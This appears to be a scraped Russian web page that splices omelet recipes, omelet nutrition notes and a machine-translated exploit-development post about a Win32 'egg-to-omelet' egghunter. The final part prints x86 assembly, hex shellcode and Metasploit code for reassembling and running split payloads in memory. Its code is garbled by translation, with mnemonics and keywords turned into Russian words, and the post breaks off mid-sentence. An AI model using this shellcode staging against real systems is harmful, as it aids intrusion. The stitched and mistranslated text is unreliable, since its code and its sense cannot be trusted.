Что нужно для омлета


Рецепты вкусного и пышного омлета

Разверните содержание статьи:

Здравствуйте, хозяюшки! Обыкновенный омлет можно приготовить десятком разных способов. И вкус при этом будет отличаться!

Эта статья — ваш помощник для создания оригинального завтрака. Мы собрали замечательный рецепты, которые стоит попробовать!

Чтобы быстро переключаться между рецептами — воспользуйтесь ссылками в голубой рамочке:

Классический пышный омлет с молоком и яйцом на сковороде

Мы не можем обойти стороной исходник всех нижеследующих потрясающих рецептов. Конечно же все началось с него, классического омлета!

Всего два основных ингредиента: яйца и молоко, а какой вкус и польза!

Ингредиенты:

  • Яйца — 4 шт
  • Молоко — 120 мл
  • Соль/перец по вкусу

Приготовление:

Яйца разбиваем в миску, наливаем к ним молоко, соль, перец и хорошо взбиваем вместе до однородной консистенции.

В это время прогреем сковороду смазанную маслом. Выливаем омлет на сковороду и накрываем крышкой — это обязательное условие для пышности.

Жарим на среднем огне примерно 5-7 минут, низ будет более румяным, а верх будет застывать на пару под крышкой и будет более нежным.

Далее убираем с огня, режем на кусочки и подаем к столу!

Пышный омлет в духовке как в детском саду

Высокий и пышный омлетик из нашего детства.

Готовится он в духовке, что наиболее полезно не только для малышей, но и для взрослых. А вкус его не может забыть никто, он особенно нежный, молочный!

Ингредиенты:

  • 6 яиц
  • 300 мл молока
  • 1/2 ч. л соли
  • 20 г сливочного масла (мягкое, комнатной температуры)

Приготовление:

Яйца разбейте в миску.

Размешайте их, но не взбивайте.

Влейте молоко и еще раз размешайте.

Для выпечки выбирайте форму с высокими бортиками. Смажьте ее сливочным маслом.

Влейте яичную жидкость в форму.

Поместите в духовку на 35-40 минут при температуре 200 градусов. Во время приготовления не открывайте духовку.

За 5 минут до конца приготовления смажьте поверхность сливочным маслом.

Масло поможет ему красиво подрумяниться и придаст знакомый с детства аромат.

Можно кушать! Получается очень нежный духовой омлет, пышный, красивый и очень вкусный!

Хрустящий омлет с сыром на сковороде

Замечательный рецепт с хрустящей сырной корочкой!

Быстрый и легкий завтрак, и очень-очень вкусный!

Ингредиенты:

  • 2 яйца
  • 100 г тертого сыра
  • 50 г молока
  • соль/перец/травы по вкусу

Приготовление:

Подготовьте все составляющие. Яйца взболтайте с молоком, добавьте специи.

Сыр выложите на сковороду и поджаривайте, пока не расплавиться.

Сверху влейте яичную смесь.

Накройте крышкой и жарьте до красивой румяной корочки.

После этого сложите яичный «блинчик» пополам в сковороде.

Можно подавать на стол. Замечательный завтрак!

Вкусный омлет с овощами — французский рецепт

Очень интересный, вкусный и полезный рецепт для тех, кто любит овощи.

Нюансы приготовления смотрите в этом видео.

Побалуйте своих домашних таким замечательным витаминным завтраком.

Рулет из омлета с помидорами, грибами и сыром

Вот такой нарядный омлетный рулет можно приготовить не только на завтрак, но и на праздничный стол, в качестве теплой и даже холодной закуски.

Ингредиенты:

  • 6 яиц
  • 50 г грибов консервированных
  • 1 помидор
  • 30 г сыра
  • свежая зелень по вкусу

Приготовление:

Для того, чтобы лучше понять всю технику приготовления посмотрите этот видеоролик.

Омлет с беконом, сыром и картошкой

Сытный холостяцкий завтрак! Не такой уж он жирный и вредный, как говорят.

Жарить мы его будем без масла, на том небольшом количестве свиного жира, который выделит бекон во время обжарки.

Ингредиенты:

  • Бекон (колбаса) — 250 г
  • Картофель — 3 шт
  • Яйца — 3 шт
  • Сыр — 100 г
  • Молоко — 50 мл

Приготовление:

Бекон нарежьте полосочками и выложите в сковороду.

Жарьте до румяной корочки. И выложите готовый бекон на бумажное полотенце, чтобы ушел лишний жир. Тогда он будет хрустящим.

Картошку нарезать мелкими ломтиками. Жарить до готовности.

Сыр натереть на мелкой терке и выложить в сковороду на готовую картошку.

Когда сыр расплавиться, выложите на него бекон.

Яйца вбейте в миску, туда же добавьте молоко, посолите и хорошо взболтайте до однородности состава.

Залейте бекон и картофель омлетом, накройте крышкой. Жарьте до готовности яйца, он должен поджариться снизу и затвердеть сверху.

Получается очень вкусно! При желании можно добавить другие овощи: стручковую фасоль, томаты, стрелки чеснока, болгарский перчик.

Итальянский омлет — фриттата

Изысканный омлет с овощами по настоящему итальянскому рецепту.

Ингредиенты:

  • яйцо — 4 шт
  • сыр твердый — 50 гр (пармезан)
  • помидоры черри — 5 — 6 шт
  • перец болгарский — 0,5 шт
  • лук порей — 1 шт
  • масло оливковое — 1 ст. ложка
  • тимьян — 2 — 3 веточки
  • соль, перец  — по вкусу

Приготовление:

Яйца разбейте и взболтайте в миске.

Пармезан (или другой твердый сыр по вкусу) натереть на средней терке.

Помидоры порезать на ломтики и дать подсохнуть 15 — 20 минут.

Лук-порей нарезаем тонкими полукольцами и обжариваем на сковородке с высокими бортами и толстым дном, на оливковом масле. Выкладываем его в тарелку.

Взбитые яйца выливаем в сковороду и начинаем поджаривать на слабом огне.

Когда нижний слой омлета поджарится, подсаливаем его и начинаем равномерно выкладывать сверху нарезанные овощи. Жареный лук-порей, томаты черри, тимьян и соломку болгарского перца.

Жарьте до готовности под крышкой. Можно также поместить омлет в духовку и запечь до румяной корочки.

Вкусный насыщенный и ароматный омлет!

Как сделать омлет на пару

Омлет на пару очень полезен. Он готовится без масла, является диетичным, этот рецепт рекомендован для детского питания.

Ингредиенты:

  • яйца — 2 шт
  • сметана — 20 г
  • молоко — 30 г
  • соль и перец по вкусу

Приготовление:

Взболтайте яйца с молоком. Добавьте сметану и снова взболтайте все вместе. Посолите, при желании можно поперчить.

Возьмите форму для запекания, смажьте ее сливочным маслом.

Налейте яйцо в форму, поставьте ее на решетку пароварки в чашу мультиварки.

В чашу налейте 200-300 мл воды, можно горячей.  Включите режим пароварки на 20 минут.

Если нет мультиварки, то можно поставить решетку с омлетом на кастрюлю с водой, которую нужно будет кипятить до готовности омлета.

Готовый омлет будет мягким, очень нежным и полезным. Можно украсить зеленью и подать с овощами.

Как приготовить омлет в пакете

Омлет готовят в пакете по соображениям безопасности и большей полезности.

Приготовленный без масла, он получается очень низкокалорийным.

При этом он не содержит канцерогенов, которые образуются во время жарки в масле. Подходит для детского питания.

Ингредиенты:

  • яйца — 3 шт
  • молоко — 150 мл
  • соль по вкусу

Приготовление:

Вся суть этого метода в том, что взбитое с молоком яйцо помещается в пакет.

Тут многие делают ошибку, используя для варки обычные пищевые пакеты.

При нагревании, полиэтилен начинает выделять вредные соединения прямо в готовящееся блюдо.

Важно: для этого рецепта используйте только специальные жаропрочные пакеты для запекания.

Иначе вся полезность рецепта сойдет на нет.

Итак, упаковав наш яичный продукт в пакет для запекания, хорошо его завязываем и отправляем в кастрюлю с кипящей водой.

Пакет будет там плавать, постепенно его содержимое сварится и мы получим очень мягкий, диетический продукт.

Такое же способ используется при приготовление омлета в банке.

Все ингредиенты помещаются в банки. Наливаем не до конца, т.е. содержимое по мере застывания будет подниматься.

Банки отправляется на водяную баню. Чтобы они не лопнули, на дно можно положить текстильную салфетку.

Стекло совершенно безопасный для приготовления материал. И такой омлетик будет очень полезным!

Нежный и воздушный французский омлет

Этот рецепт просто потрясающий!

Сверху  хрустящая корочка, а внутри нежный и воздушный омлет, настолько пористый, что колышется при движении.

Настоящий французский омлет, от прованских поваров.

Ингредиенты:

  • 3 яйца
  • 30 г сливочного масла
  • соль

Приготовление:

Разбить яйца и белки отделить от желтков.

Белки присолить и начать взбивать отдельно.

Должны получиться устойчивые пики.

Только потом добавляем желтки и продолжаем взбивать.

Сковороду смажьте маслом и вылейте на нее пенную массу.

Накрываем крышкой и жарим 2-3 минуты. Крышку не открывать.

После того как масса пропеклась и стала устойчивой, откройте крышку. Приподнимите край омлета и выложите кусочки сливочного масла с нескольких сторон под него.

Это нам нужно, чтобы получилась румяная корочка.

Когда низ подрумянится, а на поверхности не останется жидкости, сложите омлет пополам. Подержите немного, чтобы зафиксировать это положение.

Украсьте зеленью и подайте к столу. Нежный, воздушный, легкий — потрясающий омлетик!

Омлет с творогом

Полезный белковый омлет, подходит для фитнес-завтрака.

Совместная польза творога и яиц, и при этом потрясающая вкуснятина.

Ингредиенты:

  • яйца — 3 шт
  • творог (можно обезжиренный) — 200 гр
  • зеленый лук — 30 гр
  • соль/перец по вкусу

Приготовление:

Яйца взбить, добавить к ним творог.

Зеленый лук покрошить туда же.

Вылить массу в сковороду и жарить под крышкой на медленном огне до затвердения яйца.

Нежный, творожный омлет готов!

Это одно из тех блюд, которые можно съесть даже вечером, фигуре не повредит.

Надеемся, что наша подборка вам понравилась. Обязательно сохраните ее в социальные сети.

Готовьте и кушайте с удовольствием! До встречи в новых статьях!

378 581 просмотров

Руководство по питанию для овощного омлета | Здоровое питание

Автор: Sandi Busch Обновлено 27 ноября 2018 г.

Овощной омлет - это сытная и питательная еда, будь то завтрак, обед или ужин. Яйца и овощи дополняют друг друга благодаря содержащимся в них питательным веществам. Яйца содержат качественный белок и витамин B-12, в то время как овощи содержат витамины C и K. Несмотря на их преимущества, типичный омлет из трех яиц - не то блюдо, которым вы должны наслаждаться ежедневно, потому что яйца богаты холестерином.

Основы омлета

Пищевая ценность омлета меняется в зависимости от того, используете ли вы цельные яйца или только белки. Одно большое цельное яйцо содержит 72 калории, что означает, что типичный омлет из трех яиц содержит 216 калорий. В белке яйца большого размера всего 17 калорий. Вам нужно использовать больше яичных белков, чтобы приготовить омлет того же размера, что и из цельных яиц, но даже если вы используете шесть яичных белков, полученный омлет содержит только половину калорий, чем три целых яйца.

Яичные питательные вещества

Омлет из трех яиц, сделанный из цельных крупных яиц, является богатым источником селена и витаминов А и В-12; это также хороший источник железа и витамина D. Яйца содержат полноценный белок, а омлет из трех яиц дает 39 процентов рекомендуемой дневной нормы для женщин и 33 процента от рекомендуемой нормы для мужчин. Большинство этих питательных веществ содержится в желтке. Если вы будете использовать только яичный белок, вы потеряете примерно половину белка и селена, а также все железо и витамины B-12, A и D.

Жир в яйцах

Почти весь жир содержится в яичном желтке, поэтому, если вы готовите омлет из яичного белка, вам не нужно беспокоиться о жирах. Омлет из трех цельных яиц содержит 14 граммов, или 129 калорий, всего жира. Американская кардиологическая ассоциация рекомендует ограничивать ежедневный жир до 25–35 процентов от общего количества калорий. Хотя вы можете учесть общий жир омлета в этих рекомендациях, содержание холестерина в нем представляет собой проблему. Три яйца содержат 558 миллиграммов холестерина, что почти вдвое превышает рекомендуемую дневную норму.

Овощи

Даже небольшое количество овощей дает вам обезжиренный и низкокалорийный заряд питательных веществ. Одно кольцо сладкого зеленого перца, один ломтик лука и два ломтика помидора обеспечивают около 15 процентов рекомендуемой суточной нормы витамина С и 10 процентов витамина А. Если вы добавите шпинат, вы удвоите витамин А, который обеспечивает брокколи. больше витамина С, и оба являются богатыми источниками витамина К. Однако в таких небольших количествах вы не получите значительного количества клетчатки.

Сыр

Один ломтик большинства видов сыра содержит столько же белка, сколько и яйцо, и около 20 процентов дневной нормы кальция. С другой стороны, вы можете ожидать, что средний кусок сыра будет содержать около 8,5 граммов общего жира и 27 миллиграммов холестерина. Эти значения увеличивают общее содержание жира в омлете из трех яиц с сыром до 23 граммов или 207 калорий из жира. Сыр также может быть с высоким содержанием натрия, но проверьте этикетку на брендах, которые вы покупаете, потому что количество варьируется. Вы можете обойти эти проблемы, купив нежирный сыр без натрия.

.

Разница между американскими и французскими омлетами

Если вы когда-нибудь заказывали омлет в Европе, то знаете, что вам подали что-то очень непохожее на омлеты, которые мы знаем и любим в Америке. Многие американцы брезгуют недоваренными яйцами (привет, риск сальмонеллы!), Но это несладкое и несладкое заварное качество ищут в Европе. Планируете ли вы приготовить один из стилей самостоятельно или попробовать его в европейском ресторане, вот основные различия между американским и французским омлетом.

Что такое американский омлет?

Американский омлет, как показано вверху фото выше, имеет пятнистую золотистую корочку от сковороды, а поверхность неровная с кратерами. Этот эффект возникает из-за того, что омлет готовится на сильном огне, как и стейк на сковороде, и остается нетронутым, пока яйца не застынут. Затем круглый омлет складывают пополам и подают на стол. Часто начинки, такие как мясо и овощи, ввариваются в яйца, а не добавляются позже.

Что такое французский омлет?

Омлет во французском стиле, как показано на фото внизу, имеет гладкую поверхность и бледный внешний вид, лишенный какого-либо золотистого цвета. Этот ценный вид достигается за счет постоянного встряхивания сковороды, чтобы яйца не прилипали ко дну, и одновременного взбивания яиц вилкой, чтобы они готовились равномерно. Омлет скатывается в цилиндр в тот момент, когда яйца начинают коагулировать на дне сковороды, хотя часть яйца еще влажная и недожаренная.Начинки, обычно травы или сыр, добавляются в центр омлета перед тем, как его свернуть.

В отличие от американского омлета, который готовят насквозь, у французского омлета есть недоваренная середина, которая сочится после того, как омлет разрезан. Что вы предпочитаете: воздушную влажную текстуру французского омлета или более жесткий, слегка хрустящий американский омлет?

Источник изображения: POPSUGAR Photography / Анна Монетт Робертс

.

Exploit Notes - win32 egg-to-omelet

В статье 8 моей серии статей об эксплойтах я представил концепцию охотников за яйцами и объяснил, что такое охотник за омлетом и как он работает.

Сегодня я хочу поделиться с вами своей собственной реализацией яиц в омлет, объяснить, как она работает и как вы можете использовать ее в автономном эксплойте или в модуле metasploit.

Если вы пропустили статью 8, я начну с краткого резюме и объясню основные концепции охоты за яйцами и омлета.В то же время я хотел бы упомянуть, что вам, возможно, придется сначала прочитать статью 8, прежде чем вы поймете этот пост. Этот пост не является полноценным учебным пособием, на самом деле это просто описание некоторых моих собственных заметок и инструментов. И да, я планирую чаще писать подобные статьи.

Основные концепции

Охотник за яйцами - это фрагмент кода, который предназначен для поиска другого (в основном большего) фрагмента (оболочки) кода в памяти и выполнения этого фрагмента кода, когда он его находит. Он использует тег (обычно 4 байта), чтобы найти второй фрагмент кода.Охотники за яйцами часто используются, если доступное пространство для выполнения шелл-кода ограничено, и есть другое (случайное / нестатическое) место в памяти, где вы можете хранить данные.

Омлет - это продолжение этой концепции. Вместо того, чтобы найти один набор кода и выполнить его, он может найти несколько фрагментов кода, собрать их в исходный код и выполнить их.

Я должен быть честным. Раньше мне никогда не приходилось использовать охотник за яйцами омлета в реальном эксплойте (кроме документирования его для статьи 8).Но на прошлой неделе я наткнулся на ошибку со следующими характеристиками:

  • Доступное буферное пространство для выполнения кода составляет около 300 байт. Хотя этого достаточно для выполнения всего диапазона шелл-кода (включая код оболочки связывания и т. Д.), Этого недостаточно, чтобы создать надежный модуль метасплоита для этого эксплойта, который предлагал бы широкий спектр полезных нагрузок, потому что более крупные шелл-коды, такие как meterpreter, не будут работать. .
  • Я нашел способ поместить больше данных в память. Я могу поместить в память несколько блоков по 200 байт.Я уверен, что количество блоков будет ограничено, но я попробовал с 10 блоками, и это все равно сработало. Это означает, что у меня в памяти 2000 байт (или больше), разделенных на несколько блоков. Если я смогу взять любую полезную нагрузку, разделить ее на части размером не более 200 байтов и использовать первые 300 байтов для развертывания охотника «яйцо-омлет», тогда я смогу создать общий эксплойт. Эксплойт, который может надежно обрабатывать большие данные. w00t!

Идеальный сценарий для охотника за омлетами. Идеальный триггер, чтобы написать что-нибудь об этом :)

Skylined недавно написал об охотнике за яйцами для омлета.Я обсуждал его код омлета в статье 8, а также упомянул, что мне пришлось изменить его, чтобы он работал в моей системе (XP SP3). Однако, несмотря на эти изменения, омлет будет работать только в определенных случаях (и по-прежнему не обрабатывает нарушения доступа при чтении через память).

Итак, я решил написать свой собственный код.

Вот оно.

Мой охотник за яйцом и омлетом

Прежде чем смотреть на код, давайте посмотрим на требования / предположения для работы кода:

  • egghunter начнет поиск в конце текущего кадра стека.Поэтому, если ваши кусочки / яйца находятся в одном фрейме стека, вам придется изменить код и изменить место, откуда охотник начинает искать. Код использует edx в качестве указателя для просмотра памяти, поэтому вам придется изменить edx, чтобы изменить начальную точку.
  • охотник за яйцами пройдется по всему пространству памяти. Если он не может найти все яйца, он потерпит неудачу.
  • : яйца должны находиться в памяти в правильном порядке. Как вы вскоре узнаете, перед каждым фрагментом ставится уникальный тег с порядковым номером.Если последовательность неверна, код не сработает
  • каждое яйцо может иметь максимальный размер 127 байт. Тег состоит из 4 байтов (3 фиксированных байта + однобайтный порядковый номер), поэтому каждое яйцо может иметь максимум 123 байта. Мне пришлось использовать это ограничение, чтобы нулевой байт кода оставался свободным.
  • каждое яйцо должно быть одинакового размера. Если последний блок разделенной полезной нагрузки меньше размера других яиц, вам нужно будет добавить несколько блоков, чтобы сделать его такого же размера.

asm-код моего охотника за яйцом в омлет выглядит так: (corelanc0d3r_omelet.asm)

 

; ----------------------------------------------- ---
; corelanc0d3r - охотник за яйцом и омлетом - нулевой байт свободен
; версия 1.0
; http: //www.corelan.be: 8800
; [email protected]
; ------------------------------------------------ -
БИТ 32

nr_eggs equ 0x2; количество яиц
egg_size равно 0x7b; 123 байта полезной нагрузки на яйцо

jmp короткий старт

; процедура для расчета целевого местоположения
; для написания рекомбинированного шеллкода (омлета)
; Я буду использовать EDI как целевое местоположение
; Сначала я сделаю так, чтобы EDI указывал на конец стека
; и я помещу количество яиц шеллкода в eax
get_target_loc:
; получить указатель стека и поместить его в EDI
push esp
поп-эди
; установить EDI в конец стека
или di, 0xffff; edi = 0x.... ffff = конец текущего кадра стека
mov edx, edi; использовать edx в качестве начальной позиции для поиска
xor eax, eax; нулевой eax
mov al, nr_eggs; введите количество яиц в eax
calc_target_loc:
xor esi, esi; используйте esi как счетчик, чтобы отступить
mov si, 0- (egg_size + 20); добавить 20 байтов дополнительного места на каждое яйцо. nasm: + идет раньше -

get_target_loc_loop:; запуск цикла
dec edi; шаг назад
inc esi; и обновить счетчик ESI
cmp si, -1; продолжайте отступать, пока ESI = -1
jnz get_target_loc_loop
dec eax; повторить цикл, если мы не взяли все части
; во внимание еще
jnz calc_target_loc
; edi теперь содержит целевое местоположение для рекомбинированного шеллкода
xor ebx, ebx; установить счетчик циклов в ebx
mov bl, nr_eggs + 1
рет

начало:
call get_target_loc; перейти к подпрограмме, которая вычислит шелл-код
; целевой адрес

; начать поиск, используя edx как базовый указатель
jmp короткий search_next_address
find_egg:
dec edx; scasd делает edx + 4, поэтому dec edx 4 раза
; + inc edx один раз
; чтобы мы не пропустили ни одного указателя
dec edx
dec edx
dec edx
search_next_address:
inc edx; следующий
push edx; сохранить edx
push-байт + 0x02
pop eax; установите для eax значение 0x02
интервал 0x2e
cmp al, 0x5; адрес читается?
pop edx; восстановить edx
je search_next_address; если адрес не читается, перейти к следующему адресу
mov eax, 0x77303001; если адрес читается, подготовить тег в eax
добавить eax, ebx; добавить смещение (ebx содержит счетчик яиц, помните?)
xchg edi, edx; переключатель edx / edi
scasd; edi указывает на тег?
xchg edi, edx; переключить edx / edi назад
jnz find_egg; если тег не найден, перейти по следующему адресу
; обнаружил тег на edx

copy_egg:
; ecx сначала должен быть установлен на egg_size (используется инструкцией rep)
; и ESI в качестве источника
mov esi, edx; установить ESI = EDX (необходимо для инструкции rep)
xor ecx, ecx
mov cl, egg_size; установить счетчик копий
rep movsb; копировать яйцо из ESI в EDI
dec ebx; яйцо декремента
cmp bl, 1; все яйца обнаружены?
jnz find_egg; no = искать следующее яйцо
; готово - все яйца найдены и скопированы

выполнено:
call get_target_loc; повторно вычислить местоположение (рекомбинированный шелл-код)
jmp edi; и прыгай туда :)

Загрузите asm-код здесь:

Пожалуйста, войдите в систему, чтобы загрузить corelanc0d3r egg-to-omelet hunter (asm) (2.8 КБ)

Код состоит из 96 байт и пустых байтов.

Как видите, в коде есть два жестко заданных значения: количество яиц и размер яйца.

Если вы хотите реализовать этот код в собственном эксплойте, вам нужно сначала вычислить эти значения:

  • egg_size = определить значение, меньшее или равное 123 байтам
  • nr_eggs = целое число (длина шеллкода / размер яйца) * размер яйца
  • Если (nr_eggs * egg_size)

Вы можете сгенерировать код омлета, используя следующие 2 инструкции:

1.скомпилировать asm-код в байт-код:

 c: \ Program Files \ nasm \ nasm.exe "corelanc0d3r_omelet.asm -o corelanc0d3r_omelet.bin 

2. вывести байт-код в формат, который можно использовать в эксплойте:

 

c: \ omelet \ pveReadbin.pl corelanc0d3r_omelet.bin
Чтение corelanc0d3r_omelet.bin
Прочитать 96 байт

--------------------------------------------
Отображение байтов в шестнадцатеричном виде:
--------------------------------------------
"\ xeb \ x24 \ x54 \ x5f \ x66 \ x81 \ xcf \ xff".
"\ xff \ x89 \ xfa \ x31 \ xc0 \ xb0 \ x02 \ x31".
"\ xf6 \ x66 \ xbe \ x99 \ xff \ x4f \ x46 \ x66".
"\ x81 \ xfe \ xff \ xff \ x75 \ xf7 \ x48 \ x75".
"\ xee \ x31 \ xdb \ xb3 \ x03 \ xc3 \ xe8 \ xd7".
"\ xff \ xff \ xff \ xeb \ x04 \ x4a \ x4a \ x4a".
"\ x4a \ x42 \ x52 \ x6a \ x02 \ x58 \ xcd \ x2e".
"\ x3c \ x05 \ x5a \ x74 \ xf4 \ xb8 \ x01 \ x30".
"\ x30 \ x77 \ x01 \ xd8 \ x87 \ xfa \ xaf \ x87".
"\ xfa \ x75 \ xe2 \ x89 \ xd6 \ x31 \ xc9 \ xb1".
"\ x7b \ xf3 \ xa4 \ x4b \ x80 \ xfb \ x01 \ x75".
"\ xd4 \ xe8 \ xa4 \ xff \ xff \ xff \ xff \ xe7";

Количество нулевых байтов: 0

(вы можете скачать копию pveReadbin.pl в этом посте… Ищите "Учебник по Shellcoding - скрипты")

Что он делает?

Вот как работает мой охотник за яйцами на омлет:

Сначала он находит конец кадра стека (он получает текущий указатель стека, помещает его в edi, а затем устанавливает младшие биты edi в 0xffff). EDI будет использоваться в качестве целевого адреса для записи яиц. Скрипт использует EDX, чтобы отслеживать, где мы ищем в памяти, поэтому я установил edx в EDI перед началом поиска.

EBX будет содержать количество яиц, которые нужно найти. (на самом деле, поскольку я хочу избежать нулевых байтов, я установил EBX на nr_eggs + 1, поэтому я могу сравнить EBX с 1). Этот счетчик будет использоваться для двух вещей: в качестве значения в теге и для отслеживания количества яиц, которые необходимо найти.

Во время поиска код использует метод NtAccessCheckAndAuditAlarm (смещение 0x2 в KiServiceTable) для устранения нарушений доступа. По сути, он попытается прочитать EDX, и если он выживет, он снова прочитает EDX и проверит, содержит ли он 4-байтовый тег.Это гарантирует, что омлет сможет продолжить чтение в памяти.

Ожидаемые значения тегов:

773030

, где seq = 01 + number_of_remaining_eggs_to_find + 1

Итак, если у вас 3 яйца, теги будут

Яйцо 1: 77 30 30 05

Яйцо 2: 77 30 30 04

Яйцо 3:77 30 30 03

(конечно, вы можете использовать любые 3 байта для «статической» части тега. Просто убедитесь, что вы используете тот же тег в asm-скрипте при генерации кода омлета)

Если правильный тег найден, он прочитает количество байтов egg_size и запишет их в EDI, используя инструкцию rep movsb.В этой инструкции ECX используется в качестве счетчика (поэтому перед чтением ECX должен содержать количество байтов для чтения… это «размер яйца»). ESI должен указывать на исходное местоположение. (что объясняет, почему я использую MOV ESI, EDX в подпрограмме copy_egg), и, как объяснялось ранее, EDI должен указывать на целевое местоположение. Во время выполнения инструкции репликации EDI и ESI увеличиваются. Когда копирование будет выполнено, EDI укажет на место, где нужно записать следующий фрагмент.

По завершении копирования сценарий определит, есть ли еще яйца, которые нужно найти.(уменьшите EBX, а затем сравните BL, 1). Если яиц больше не найдено, сценарий пересчитывает, куда был записан шеллкод, и переходит к нему. Если необходимо найти другие яйца, поиск будет продолжен. Поскольку EBX был уменьшен, теперь он будет искать второй тег.

Поскольку жестко запрограммированное значение в сценарии (mov eax, 0x77303001) и теги в яйцах всегда будут иметь разные значения, нет никакого риска найти тег в самом коде омлета. Если он найдет метку, это будет яйцо.Если яйцо не испортилось, из него получится омлет.

Реализация: автономные эксплойты

Реализовать скрипт преобразования яиц в омлет в виде отдельного эксплойта очень просто.

Во-первых, вам нужно определить, насколько большими могут быть яйца. Вы можете сделать это, проверив содержимое памяти и посмотрев, сколько байтов вы можете контролировать и сколько раз вы можете контролировать блоки с таким количеством байтов. Если number_of_blocks * size_of_each_block (максимум 123 байта) равно или больше, чем общий размер шелл-кода, вы можете заставить его работать.

После того, как вы вычислили количество блоков и размер для каждого блока, вы можете просто поместить эти 2 значения в asm-скрипт и сгенерировать код (nasm + pveReadbin.pl). Этот код готов к копированию / вставке в ваш сценарий эксплойта.

Затем вам нужно будет разделить полезную нагрузку, которую вы хотите использовать, на части. Каждый фрагмент должен быть 123 байта (или количество байтов в блоке, если он меньше 123). Если последний блок не равен 123 байтам (size_of_each_block), вы можете добавить несколько nops, пока он не станет того же размера.

Затем вы должны поместить тег перед каждым блоком. В предыдущей главе я объяснил, как вычислить уникальные порядковые номера. Итак, если ваша полезная нагрузка разделена на 3 части ($ shellcode_part1, $ shellcode_part2 и $ shellcode_part3), эти 3 части будут выглядеть так:

 

мой $ part1 = "\ x05 \ x30 \ x30 \ x77" + $ shellcode_part1;
мой $ part2 = "\ x04 \ x30 \ x30 \ x77" + $ shellcode_part2;
мой $ part3 = "\ x03 \ x30 \ x30 \ x77" + $ shellcode_part3;

Поместите 3 части в буфер полезной нагрузки, убедившись, что охотник за омлетами сначала найдет часть 1, затем часть 2 и наконец часть 3.

И все. Как только охотник за яйцами и омлетом начнет работать, все пойдет автоматически.

Чтобы выполнить процесс разделения полезной нагрузки и создания отдельных частей, вы также можете использовать новую функцию в pvefindaddr. В pvefindaddr v2.0.7 была добавлена ​​функция «омлет», которая автоматизирует весь процесс. Единственное, что вам нужно сделать, это

  • создать двоичный файл, содержащий байты шелл-кода (RAW)
  • опционально определить размер яйца (по умолчанию 123)
  • опционально определить значение статического тега (по умолчанию будет 773030)

Допустим, вы записали шелл-код в c: \ tmp \ calc.bin (224 байта), и у вас есть блоки по 100 байтов, доступные в памяти, тогда вам нужно разделить шеллкод на 96 байтовых частей (+ 4 байта для тега = 100 байтов). Мы будем использовать 55DABA как тег (0xBADA55). Команда pvefindaddr для автоматизации всего процесса:

 

! Pvefindaddr омлет -f c: \ tmp \ calc.bin -t 55DABA -s 96

Результат записывается в omelet.txt. Выходной файл содержит полезные данные для perl.

Реализация: модуль metasploit - сложный путь

Реализовать omelet hunter в модуле metasploit тоже не сложно.

Скопируйте следующие строки кода в свой модуль, а затем используйте итерацию chunks.each (см. Конец кода), чтобы поместить яйца в память. Используйте переменную omelet в качестве начальной полезной нагрузки, и вы выиграете :)

 

egg_size = 123
maxsize = payload.encoded.length
print_status ("[+] Создание в corelanc0der охотника за яйцами и омлетами")
delta = (maxsize / egg_size) * egg_size
nr_eggs = максимальный размер / размер яйца
, если дельта nr_eggs = nr_eggs + 1
конец
print_status ("[+] Количество яиц: # {nr_eggs}")

омлет = "\ xeb \ x24" +
"\ x54 \ x5f" +
"\ x66 \ x81 \ xcf \ xff \ xff" +
"\ x89 \ xfa" +
"\ x31 \ xc0" +
"\ xb0" + nr_eggs.chr +
"\ x31 \ xf6" +
"\ x66 \ xbe" + (237-egg_size) .chr + "\ xff" +
"\ x4f \ x46" +
"\ x66 \ x81 \ xfe \ xff \ xff" +
"\ x75 \ xf7" +
"\ x48" +
"\ x75 \ xee" +
"\ x31 \ xdb" +
"\ xb3" + (nr_eggs + 1) .chr +
"\ xc3" +
"\ xe8 \ xd7 \ xff \ xff \ xff" +
"\ xeb \ x04" +
"\ x4a \ x4a \ x4a \ x4a" +
"\ x42" +
"\ x52" +
"\ x6a \ x02" +
"\ x58" +
"\ xcd \ x2e" +
"\ x3c \ x05" +
"\ x5a" +
"\ x74 \ xf4" +
"\ xb8 \ x01 \ x30 \ x30 \ x77" +
"\ x01 \ xd8" +
"\ x87 \ xfa" +
"\ xaf" +
"\ x87 \ xfa" +
"\ x75 \ xe2" +
"\ x89 \ xd6" +
"\ x31 \ xc9" +
"\ xb1" + размер_ яйца.chr +
"\ xf3 \ xa4" +
"\ x4b" +
"\ x80 \ xfb \ x01" +
"\ x75 \ xd4" +
"\ xe8 \ xa4 \ xff \ xff \ xff" +
"\ xff \ xe7"

print_status ("[+] Создание яиц")
блоков = Array.new (nr_eggs)
totalsize = egg_size * nr_eggs
padding = "X" * (totalsize-payload.encoded.length)
fullcode = payload.encoded + padding
print_status ("Общая длина шелл-кода после заполнения: # {fullcode.length} ")
# создать яйца
chunkcnt = nr_eggs + 2
начальный код = 0
arraycnt = 0
, а chunkcnt> 2 делать
chunkprep = chunkcnt.chr + "\ x30 \ x30 \ x77"
thischunk = полный код [startcode, egg_size]
startcode = startcode + egg_size
thischunk = chunkprep + thischunk
print_status ("Создано яйцо из # {thischunk.length} байтов, тег # {chunkcnt}")
chunkcnt = chunkcnt-1
фрагментов [arraycnt] = этот фрагмент
массивcnt = массивcnt + 1
конец

куска.каждый делает | thischunk |
# запишите яйцо в полезную нагрузку где-нибудь

конец

Примечание: если вам нужно закодировать код омлета после его создания, прежде чем использовать его в качестве полезной нагрузки, вы можете использовать следующие строки для этого:

 badchars = "\ x00" encomelet = Msf :: Util :: EXE.encode_stub (framework, [ARCH_X86], omelet, :: Msf :: Module :: PlatformList.win32, badchars) омлет = encomelet 

(спасибо HDMoore за реализацию фильтра badchars!)

Внедрение: миксин metasploit - легкий путь

Чтобы облегчить вам жизнь, я решил написать класс / миксин для metasploit для охотника за омлетами и добавить некоторые дополнительные функции, которые обеспечат повышенную гибкость при создании эксплойтов на основе яйца и омлета.

«Обновлено - 23 августа 2010 г .: Начиная с версии r10106 мой омлет-миксин официально является частью Metasploit!». (Спасибо, jduck!)

Миксин состоит из 2 файлов:

/framework3/lib/msf/core/exploit/omelet.rb и /framework3/lib/rex/exploitation/omelet.rb

Чтобы активировать класс / миксин, в файл mixins.rb в / framework3 / lib / msf / core / exploit была добавлена ​​строка, загружающая файл омлета:

